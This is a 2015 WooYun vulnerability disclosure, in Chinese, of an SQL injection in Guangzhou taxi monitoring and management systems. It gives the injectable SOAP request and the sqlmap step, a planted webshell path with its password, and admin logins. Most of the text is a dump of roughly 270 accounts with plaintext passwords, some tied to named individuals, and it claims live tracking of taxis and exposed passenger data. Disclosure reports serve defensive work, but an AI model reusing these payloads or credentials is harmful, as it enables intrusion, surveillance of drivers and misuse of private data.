漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0150508
漏洞标题:广州出租车实时查看/回放/跟踪出行车轨迹影响/多个管理系统沦陷(全广州出租车尽收眼底)
相关厂商:广州交通运输管理部门
漏洞作者: 水系cmos
提交时间:2015-10-30 10:16
修复时间:2015-12-18 17:34
公开时间:2015-12-18 17:34
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-10-30: 细节已通知厂商并且等待厂商处理中
2015-11-03: 厂商已经确认,细节仅向厂商公开
2015-11-13: 细节向核心白帽子及相关领域专家公开
2015-11-23: 细节向普通白帽子公开
2015-12-03: 细节向实习白帽子公开
2015-12-18: 细节向公众公开
简要描述:
涉及广州66家出租车公司,63000+出租车司机和车辆信息泄漏,实时查看,跟踪全广州出租车轨迹。过千乘客信息泄漏,多个管理后台对外,已getshell。(求邀请码,求邀请码,求邀请码)
详细说明:
已一句话:
一句话:**.**.**.**:8083/Images/FuncIco/looo.asp;.jpg 密码:-7
广州出租车应用管理系统:**.**.**.**:8083/ 账户:baiyun_admin 密码:000000 #查看63000+司机和车辆信息
广州出租车监控系统:**.**.**.**:5000/ 账户:dlzf 密码:000000 #实时查看、跟踪、回放所以出租车
广州车辆智能监控调度:**.**.**.**:8000/ 账户:dzkp 密码:dzkp
扫asmx时,发现了注入:
注入点是在soap内,下面是post包:
POST /AlarmService.asmx HTTP/1.1
Host: **.**.**.**
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://**.**.**.**/InfoQueryService/AlarmService/SaveGuardVehAlarm"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://**.**.**.**/2001/XMLSchema-instance" xmlns:xsd="http://**.**.**.**/2001/XMLSchema"
xmlns:soap="http://**.**.**.**/soap/envelope/">
<soap:Body>
<SaveGuardVehAlarm xmlns="http://**.**.**.**/InfoQueryService/AlarmService">
<strUserNo>111</strUserNo>
<strPlateNo>111*</strPlateNo>
<strErrMsg>111</strErrMsg>
</SaveGuardVehAlarm>
</soap:Body>
</soap:Envelope>
将以上包存为txt格式,放进sqlmap 用 -r参数即可跑出数据:
库:
available databases [10]:
[*] AUDITOR
[*] GIS
[*] MANAGE_TAXI
[*] MONITOR
[*] PERFSTAT
[*] RECKON
[*] REPWPE
[*] SYS
[*] SYSTEM
[*] TEST_USER
漏洞证明:
所有出租车尽收眼底:
可回放或者实时跟踪出租车,全天监控··,哈哈,到哪儿都知道:
司机信息:
涉及广州66个出租车公司司机和车辆信息:
一天内打卡的司机有63264人,暴露姓名和车牌:
过千位乘客的信息:(应该会有更多,只是显示不完)
羊城通海量数据:
[105 entries]
+----------------+--------------------------+----------+----------------+
| USERNO | USERNAME | LOGINNUM | PASSWORD64 |
+----------------+--------------------------+----------+----------------+
| baiyun_admin | 白云集团管理员 | 30442 | 000000 |
| xinyang_admin | 广州市新羊出租车队 | 417 | xinyang |
| dongfang_admin | 广州市东方汽车有限公司 | 1342 | 86667577 |
| huayuan_admin | 花园酒店附属花园汽车出租公司 | 984 | hy84228378 |
| dlzf091 | 道路运输执法九中队机场 | 350 | 000000 |
| dlzf092 | 道路运输执法九中队火车站 | 255 | 000000 |
| dlzf093 | 道路运输执法九中队东站 | 45 | 000000 |
| cwb | 财务部划账查询 | 691 | 123456 |
| 96900 | 96900查询划账 | 8102 | 000000 |
| dzkp | 电子客票查询 | 267 | dzkp |
| bypy | bypy | 9 | 000000 |
| bylg | bylg | 993 | 000000 |
| zczx | zczx | 1167 | 123321 |
| jtyf | 交通集团第一分公司 | 2975 | 000000 |
| jtef | 交通集团第二分公司 | 3631 | 000000 |
| jtsf | 交通集团第三分公司 | 4824 | 000000 |
| jtsif | 交通集团第四分公司 | 2436 | 000000 |
[273 entries]
+--------------------+--------------------------+----------+----------------+
| USERNO | USERNAME | LOGINNUM | PASSWORD64 |
+--------------------+--------------------------+----------+----------------+
[18:29:54] [WARNING] console output will be trimmed to last 256 rows due to large table size
| jthp | 交通黄埔分公司 | 0 | 000000 |
| jtns | 交通集团南沙分公司 | 846 | 000000 |
| jtpy | 广州交通集团出租汽车有限公司番禺分公司 | 764 | 000000 |
| jthd | 交通集团花都分公司 | 63 | 000000 |
| baiyun_test | 白云测试123 | 3 | 000000 |
| daijuanli | 戴娟莉 | 4 | 000000 |
| xiecheng_admin | 广东协成汽车出租有限公司 | 1 | 000000 |
| test2 | 测试用户二 | 1 | 000000 |
| kejichu | 科技处帐号 | 1114 | 000000 |
| lixin_admin | 丽新公司 | 1 | 000000 |
| qiuhuansheng | 邱焕生 | 1 | 000000 |
| kyjg | 委交研所 | 5 | 888888 |
| scb | 市场部查询交易记录 | 1508 | czcyct123 |
| zc_zxc | zc_zxc | 555 | 000000 |
| zc_zxc1 | zc_zxc1 | 293 | 000000 |
| zc_zxc2 | zc_zxc2 | 99 | 000000 |
| zc_zxc3 | zc_zxc3 | 138 | 000000 |
| zc_zy | zc_zy | 691 | 000000 |
| zc_zy1 | zc_zy1 | 251 | 000000 |
| zc_zy2 | zc_zy2 | 444 | 000000 |
| zc_zy3 | zc_zy3 | 421 | 000000 |
| zc_gjzc | zc_gjzc | 1256 | 000000 |
| zc_gjzc1 | zc_gjzc1 | 1027 | 000000 |
| zc_gjzc2 | zc_gjzc2 | 257 | 000000 |
| zc_gjzc3 | zc_gjzc3 | 47 | 000000 |
| zc_brt | zc_brt | 630 | 000000 |
| zc_brt1 | zc_brt1 | 1544 | 000000 |
| zc_brt2 | zc_brt2 | 38 | 000000 |
| zc_brt3 | zc_brt3 | 2 | 000000 |
| gjty_admin | 广交天源 | 654 | 000000 |
| kgc_01 | kgc_01 | 1163 | 000000 |
| lixiangyuan | 李相源 | 17 | 000000 |
| zhzx | 指挥中心帐号 | 12286 | hyjg38180069 |
| kgc | 客管处账号 | 68 | 000000 |
| byyf | 白云一分 | 3520 | 000000 |
| byef | 白云二分 | 3332 | 000000 |
| bysf | 白云三分 | 3743 | 000000 |
| bysif | 白云四分 | 3764 | 000000 |
| bywf | 白云五分 | 3991 | 000000 |
| bylf | 白云六分 | 5353 | 000000 |
| lxhz | 联新能源发展有限公司海珠加气站 | 2 | lxhzpass001 |
| lxyt | 联新能源发展有限公司永泰加气站 | 0 | lxytpass001 |
| lxcb | 联新能源发展有限公司车陂加气站 | 1 | lxcbpass001 |
| zrlk | 振戎燃气连锁经营有限公司力康加气站 | 0 | zrlkpass001 |
| zryc | 振戎燃气连锁经营有限公司员村加气站 | 0 | zrycpass001 |
| zryg | 振戎燃气连锁经营有限公司元岗加气站 | 0 | zrygpass001 |
| chejichu | 车技处用户 | 122 | 000000 |
| lxmkg | 联新能源发展有限公司门口岗加气站 | 0 | lxmkgpass001 |
| lxhd | 联新能源发展有限公司鹤洞加气站 | 0 | lxhdpass001 |
| lxkk | 联新能源发展有限公司坑口加气站 | 0 | lxkkpass001 |
| lxzsb | 联新能源发展有限公司中山八加气站 | 0 | lxzsbpass001 |
| lxhs | 联新能源发展有限公司黄石加气站 | 0 | lxhspass001 |
| lxlcw | 联新能源发展有限公司罗冲围加气站 | 0 | lxlcwpass001 |
| lxtdw | 联新能源发展有限公司同德围加气站 | 0 | lxtdwpass001 |
| lxtc | 联新能源发展有限公司潭村加气站 | 0 | lxtcpass001 |
| lxsm | 联新能源发展有限公司石马加气站 | 0 | lxsmpass001 |
| lxhg | 联新能源发展有限公司凰岗加气站 | 0 | lxhgpass001 |
| lxtpj | 联新能源发展有限公司天平架加气站 | 0 | lxtpjpass001 |
| lxkxc | 联新能源发展有限公司科学城加气站 | 0 | lxkxcpass001 |
| lxmg | 联新能源发展有限公司茅岗加气站 | 0 | lxmgpass001 |
| lxkfq | 联新能源发展有限公司开发区加气站 | 0 | lxkfqpass001 |
| lswc | 联穗文冲加气站 | 0 | lswcpass001 |
| jfdp | 九丰燃气公司东圃加气站 | 0 | jfdppass001 |
| lshs | 联穗能源供应有限公司花山加气站 | 0 | lshspass001 |
| zsygzcs | 中国石油天然气股份有限公司广东广州赤沙加油加气站 | 0 | zsygzcspass001 |
| zshgz | 中国石化股份有限公司广东广州石油销售分公司 | 0 | zshgzpass001 |
| yqlx | 广州一汽巴士能源有限公司龙溪加气站 | 0 | yqlxpass001 |
| jnjpl | 广州洁能燃气技术有限公司金盘岭加气站 | 0 | jnjplpass001 |
| jnth | 广州洁能燃气技术有限公司太和加气站 | 0 | jnthpass001 |
| jnjk | 广州洁能燃气技术有限公司窖口加气站 | 0 | jnjkpass001 |
| jnhc | 广州洁能燃气技术有限公司黄村加气站 | 0 | jnhcpass001 |
| zrsc | 振戎燃气连锁经营有限公司石槎路加气站 | 0 | zrscpass001 |
| zrxm | 振戎燃气连锁经营有限公司夏茅加气站 | 0 | zrxmpass001 |
| zrlm | 振戎燃气连锁经营有限公司龙美加气站 | 0 | zrlmpass001 |
| zrdxc | 振戎燃气连锁经营有限公司大学城加气站 | 0 | zrdxcpass001 |
| zrshc | 振戎燃气连锁经营有限公司山村加气站 | 0 | zrshcpass001 |
| zrcb | 振戎燃气连锁经营有限公司车陂加气站 | 0 | zrcbpass001 |
| zrgzddn | 振戎广州大道南加气站 | 1 | zrgzddnpass001 |
| kegc | 客管处服务科 | 43 | 000000 |
| 96900_1000 | 96900出租车 | 28 | 832700 |
| yanshengtong | yanshengtong | 14 | 000000 |
| 96900_1006 | 陈省梅 | 295 | 96900dzx |
| zc_gjzx | zc_gjzx | 167 | 000000 |
| zc_gjzx1 | zc_gjzx1 | 420 | 000000 |
| zc_gjzx2 | zc_gjzx2 | 0 | 000000 |
| zc_gjzx3 | zc_gjzx3 | 0 | 000000 |
| zc_gjzx4 | zc_gjzx4 | 0 | 000000 |
| zc_gjzx5 | zc_gjzx5 | 0 | 000000 |
| zc_gjzx6 | zc_gjzx6 | 0 | 000000 |
| yandongmei | 严东梅 | 46 | 000000 |
| qinzhixian | 秦志贤 | 539 | 80598526 |
| jiaotong_admin | 交通集团管理员 | 186272 | 815302 |
| guangjun_admin | 广骏管理员 | 12001 | 86231800 |
| nanyou_admin | 广州南油汽车出租有限公司 | 203 | 000000 |
| daolu_admin | 道路运输行业人力资源服务中心 | 0 | 000000 |
| nanhu_admin | 广东南湖恒勇小汽车出租有限公司 | 0 | 000000 |
| antong_admin | 广州市安通出租车公司 | 3291 | at87099 |
| kelun_admin | 广州市客轮公司出租汽车分公司 | 1 | 000000 |
| juxing_admin | 广州市巨星影业汽车有限公司 | 81 | 000000 |
| tianlong_admin | 广州天龙汽车服务有限公司 | 609 | 19921112 |
| yingfeng_admin | 广东颖丰汽车服务有限公司 | 626 | 000000 |
| longdi_admin | 广州市龙的出租汽车股份有限公司 | 17220 | ldgs82388222 |
| eryun_admin | 广州二运集团有限公司 | 0 | 000000 |
| baiyungj_admin | 广州白云国际机场空港快线运输有限公司 | 46 | 000000 |
| lishifeng_admin | 利士风公司 | 2411 | 000000 |
| longzhiq_admin | 龙之泉公司 | 0 | 000000 |
| xianfu_admin | 广州蚬富出租车公司 | 3576 | xfxfsmc |
| guanglong_admin | 广龙公司 | 0 | 000000 |
| wanyun_admin | 广州市万润出租汽车有限公司 | 672 | 000000 |
| jiaotongys_admin | 广州市交通运输管理局 | 0 | 000000 |
| rongtai_admin | 广州市荣泰出租汽车有限公司 | 338 | 18925064860 |
| tianhejd_admin | 广州市天河机动车驾驶员培训中心 | 0 | 000000 |
| zhujianghy_admin | 广东省珠江航运有限公司汽车出租分公司 | 1079 | 84359027 |
| yuhua_admin | 广东宇华小汽车出租有限公司 | 0 | 000000 |
| yuanyang_admin | 广州远洋宾馆有限公司 | 815 | 000000 |
| lixing_admin | 广州市丽新出租汽车公司 | 794 | 23362336 |
| dongtai_admin | 广东东泰出租汽车有限公司 | 378 | 005d6 |
| xinkaida_admin | 广东新开达汽车维修有限公司 | 709 | 000000 |
| huangqi_admin | 广州市黄企运输有限公司 | 92 | 44052173 |
| dongyunda_admin | 广州市东运达实业有限公司 | 125 | dongyunda |
| shengzhonglv_admin | 广东省中国旅行社股份有限公司 | 0 | 000000 |
| suimei_admin | 广州市穗美怡汽车运输有限公司 | 40 | 000000 |
| xiaomayi_admin | 广州小蚂蚁小汽车出租有限公司 | 0 | 000000 |
| qiaozheng_admin | 广州市侨政小汽车出租车队 | 0 | 000000 |
| zhujian_admin | 广州珠江汽车服务公司 | 3437 | 000000 |
| tianyuan_admin | 广州天源出租汽车有限公司 | 0 | 000000 |
| qiaolin_admin | 广州市侨林汽车服务有限公司 | 960 | 729924187 |
| yanling_admin | 广东农垦燕岭大厦联合公司 | 1305 | 000000 |
| lianxing_admin | 广州联星汽车出租有限公司 | 750 | 000000 |
| liangyou_admin | 广州市粮油汽车出租公司 | 0 | 000000 |
| guangda_admin | 广州市广达出租汽车有限公司 | 864 | 000000 |
| huibao_admin | 广州市惠宝汽车出租有限公司 | 756 | gzhuibao |
| baochenglh_admin | 广州市宝城联合汽车出租有限公司 | 27090 | baocheng-gs |
| tianlongyx_admin | 广州天龙越秀汽车出租有限公司 | 1 | 000000 |
| tiancheng_admin | 广州天成企业集团有限公司 | 230 | 123456 |
| huazhiyuan_admin | 广州市华之源运输发展有限公司 | 595 | 000000 |
| shiziyang_admin | 广州市天河狮子洋运输有限公司 | 0 | 000000 |
| jiangnan_admin | 广州江南汽车出租公司 | 268 | 000000 |
| donglian_admin | 广州市东连出租汽车有限公司 | 0 | 000000 |
| haifa_admin | 广州市海发运输有限公司 | 1144 | 84299477 |
| xinfuguang_admin | 广州市新富广汽车出租有限公司 | 512 | 000000 |
| boxiang_admin | 广州市柏祥汽车出租有限公司 | 1066 | 000000 |
| huotong_admin | 广州活通汽车出租有限公司 | 1 | 000000 |
| xinguang_admin | 广州市越秀区新光出租车队 | 1025 | 000000 |
| guanglian_admin | 广州市广联汽车服务公司 | 118 | 000000 |
| baochengqc_admin | 广州市宝城汽车出租有限公司 | 1377 | baocheng-gs |
| guangfa_admin | 广州市广发出租汽车有限公司 | 622 | guangfa-gs |
| jiaozheng_admin | 广州市交正交通建设工程检测有限公司 | 0 | 000000 |
| panyujtj_admin | 番禺区交通局 | 1 | 000000 |
| panyun_admin | 广州市番运出租车股份有限公司 | 2 | 000000 |
| huadu_admin | 广州市花都大洋小汽车出租有限公司 | 0 | 000000 |
| luyun_admin | 广州市陆运有限公司 | 0 | 000000 |
| shiji_admin | 广州番禺石碁运输有限公司 | 2 | 000000 |
| xdfwf_admin | 新东方五分 | 1878 | 000000 |
| guolv_admin | 广东国旅出租汽车有限公司 | 2431 | 000000 |
| tianhu_admin | 广州市天湖旅游出租汽车有限公司 | 11966 | 000000 |
| jianxing_admin | 广州市建兴小汽车出租有限责任公司 | 712 | 000000 |
| yuntong_admin | 广州市白云区云通汽车出租有限公司 | 1448 | 000000 |
| jianfeng_admin | 广州市建丰汽车出租有限公司 | 2552 | 000000 |
| zhentong_admin | 广州振中汽车出租有限公司 | 3 | 000000 |
| guanghe_admin | 广州市天河广和汽车服务有限公司 | 126 | 00880088 |
| yuehua_admin | 广州市越秀区越华出租车队 | 392 | 000000 |
| pengda_admin | 广州市鹏达出租汽车有限公司 | 0 | 000000 |
| haiyun_admin | 广州市海运汽车出租有限公司 | 474 | 000000 |
| hengjin_admin | 广州市恒锦运输有限公司 | 535 | hengjin |
| hongxun_admin | 广州市鸿欣出租汽车有限公司 | 0 | 000000 |
| liwan_admin | 广州市荔湾华大汽车出租有限公司 | 0 | 000000 |
| guangwu_admin | 广东广物汽贸汽车出租服务公司 | 1318 | 000000 |
| yuefa_admin | 广州粤发汽车服务有限公司 | 0 | 000000 |
| hexing_admin | 广州市合兴汽车出租有限公司 | 290 | 81495772 |
| qingxing_admin | 广州庆星汽车出租有限公司 | 1468 | 460304 |
| yuexiang_admin | 广州市越翔出租车有限公司 | 0 | 000000 |
| meijian_admin | 广州市煤建公司出租汽车分公司 | 0 | 000000 |
| qianglong_admin | 广州市强龙出租车有限公司 | 393 | 000000 |
| chengdi_admin | 广州市诚的出租汽车股份有限公司 | 0 | 000000 |
| guanjijc_admin | 广州白云国际机场股份有限公司 | 0 | 000000 |
| jinshili_admin | 广州金士利汽车出租有限公司 | 76 | 000000 |
| xiongding_admin | 广州雄鼎出租汽车有限公司 | 45 | 000000 |
| tiandong_admin | 广州天东运输有限公司 | 46 | tiandong |
| xinxing_admin | 广州芳村区新兴出租车限公司 | 1243 | 000000 |
| bada_admin | 广州市海珠区八达集装箱运输公司 | 268 | 340k2368 |
| jinlu_admin | 广州金路小汽车出租有限公司 | 287 | jl87733798 |
| kaida_admin | 广州开达租赁车队 | 0 | 000000 |
| zhenzhonght_admin | 广州振中活通汽车出租有限公司 | 1464 | NELSON |
| Admin | 系统管理员 | 2574 | 86010123gci |
| test | 测试帐号一 | 5 | 123 |
| Guest | 来宾 | 0 | NULL |
| wuqixia | 吴绮霞 | 3 | 000000 |
| zhengguojun | 郑国俊 | 1139 | 000000 |
| liangyu | | 29 | liangyu |
| zhaojiantao | 招键涛 | 1030 | zhao |
| qinyuyan | 秦玉艳 | 47 | 123456 |
| zhangjunhai | 章俊海 | 554 | 000000 |
| baiyunyong | 白云湧 | 121 | 000000 |
| wuyiqiong | 吴奕琼 | 326 | 928615 |
| yunwei | 运维超级管理员 | 66 | qwepoi |
| liujin | 刘进 | 128 | 000000 |
| liuyu | 刘宇 | 31 | password |
| guangshi_admin | 广州市广石物流有限公司 | 0 | 000000 |
| liuwei | 刘伟 | 61 | 000000 |
| daxin_admin | 广州大新联合汽车出租有限公司 | 2354 | 000000 |
| caijinxing | 蔡进兴 | 74 | 000000 |
| xindongfang_admin | 广州市新东方出租汽车有限公司 | 9163 | 36642009 |
| zhzx1 | 指挥中心1 | 1 | 000000 |
| zhzx2 | 指挥中心2 | 0 | 000000 |
| zhzx3 | 指挥中心3 | 0 | 000000 |
| dlzf | 道路运输执法大队 | 617 | 000000 |
| dlzf01 | 道路运输执法一中队 | 5 | 000000 |
| dlzf02 | 道路运输执法二中队 | 2 | 000000 |
| dlzf03 | 道路运输执法三中队 | 0 | 000000 |
| dlzf04 | 道路运输执法四中队 | 0 | 000000 |
| dlzf05 | 道路运输执法五中队 | 0 | 000000 |
| dlzf06 | 道路运输执法六中队 | 0 | 000000 |
| dlzf07 | 道路运输执法七中队 | 0 | 000000 |
| dlzf08 | 道路运输执法八中队 | 0 | 000000 |
| dlzf09 | 道路运输执法九中队 | 2 | dlzf09 |
| dlzf10 | 道路运输执法队后勤 | 0 | 000000 |
| pyjtj | 番禺交通局 | 57 | 000000 |
| pyqy | 番禺汽运 | 151 | 000000 |
| pyjt | 番禺交通 | 124 | 000000 |
| pyshj | 番禺石碁 | 706 | 000000 |
| pypy | 番禺番运 | 289 | 000000 |
| lingruochuan | 凌若川 | 30 | asdf123456789 |
| letu_admin | 广州市乐途汽车服务有限公司 | 2100 | 83561013 |
| by_test | 白云测试 | 18 | 000000 |
| jt_test | 交通测试 | 3 | 000000 |
| 96900_1001 | 陈铭军 | 142 | titanic800306 |
| 96900_1003 | 莫宁宁 | 203 | 3001 |
| zc_zxc4 | zc_zxc4 | 119 | 000000 |
| zc_zxc5 | zc_zxc5 | 57 | 000000 |
| zc_zxc6 | zc_zxc6 | 39 | 000000 |
| zc_zy4 | zc_zy4 | 231 | 000000 |
| zc_zy5 | zc_zy5 | 73 | 000000 |
| zc_zy6 | zc_zy6 | 166 | 000000 |
| zc_gjzc4 | zc_gjzc4 | 0 | 000000 |
| zc_gjzc5 | zc_gjzc5 | 1 | 000000 |
| zc_gjzc6 | zc_gjzc6 | 1 | 000000 |
| zc_brt4 | zc_brt4 | 0 | 000000 |
| zc_brt5 | zc_brt5 | 16 | 000000 |
| zc_brt6 | zc_brt6 | 4 | 000000 |
| zc_xlss | zc_xlss | 387 | 000000 |
| zc_xlss1 | zc_xlss1 | 269 | 000000 |
| zc_xlss2 | zc_xlss2 | 23 | 000000 |
| zc_xlss3 | zc_xlss3 | 58 | 000000 |
| zc_xlss4 | zc_xlss4 | 0 | 000000 |
| zc_xlss5 | zc_xlss5 | 0 | 000000 |
| zc_xlss6 | zc_xlss6 | 56 | 000000 |
| zc_zyhy | zc_zyhy | 252 | 000000 |
| zc_zyhy1 | zc_zyhy1 | 100 | 000000 |
| zc_zyhy2 | zc_zyhy2 | 44 | 000000 |
| zc_zyhy3 | zc_zyhy3 | 88 | 000000 |
| zc_zyhy4 | zc_zyhy4 | 4 | 000000 |
| zc_zyhy5 | zc_zyhy5 | 2 | 000000 |
| zc_zyhy6 | zc_zyhy6 | 85 | 000000 |
| jiaotong_test | 企业测试 | 1 | 000000 |
| wlw_qs | 物联网清算 | 15 | 000000 |
+--------------------+--------------------------+----------+----------------+
其他后台泄漏:
某业务登录界面:**.**.**.**:8080/
办公系统?:**.**.**.**:8010/Login.aspx
修复方案:
过滤,管理后台不对外,业务分离到多个服务器
版权声明:转载请注明来源 水系cmos@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:18
确认时间:2015-11-03 17:33
厂商回复:
非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:18
正在联系相关网站管理单位处置。
最新状态:
暂无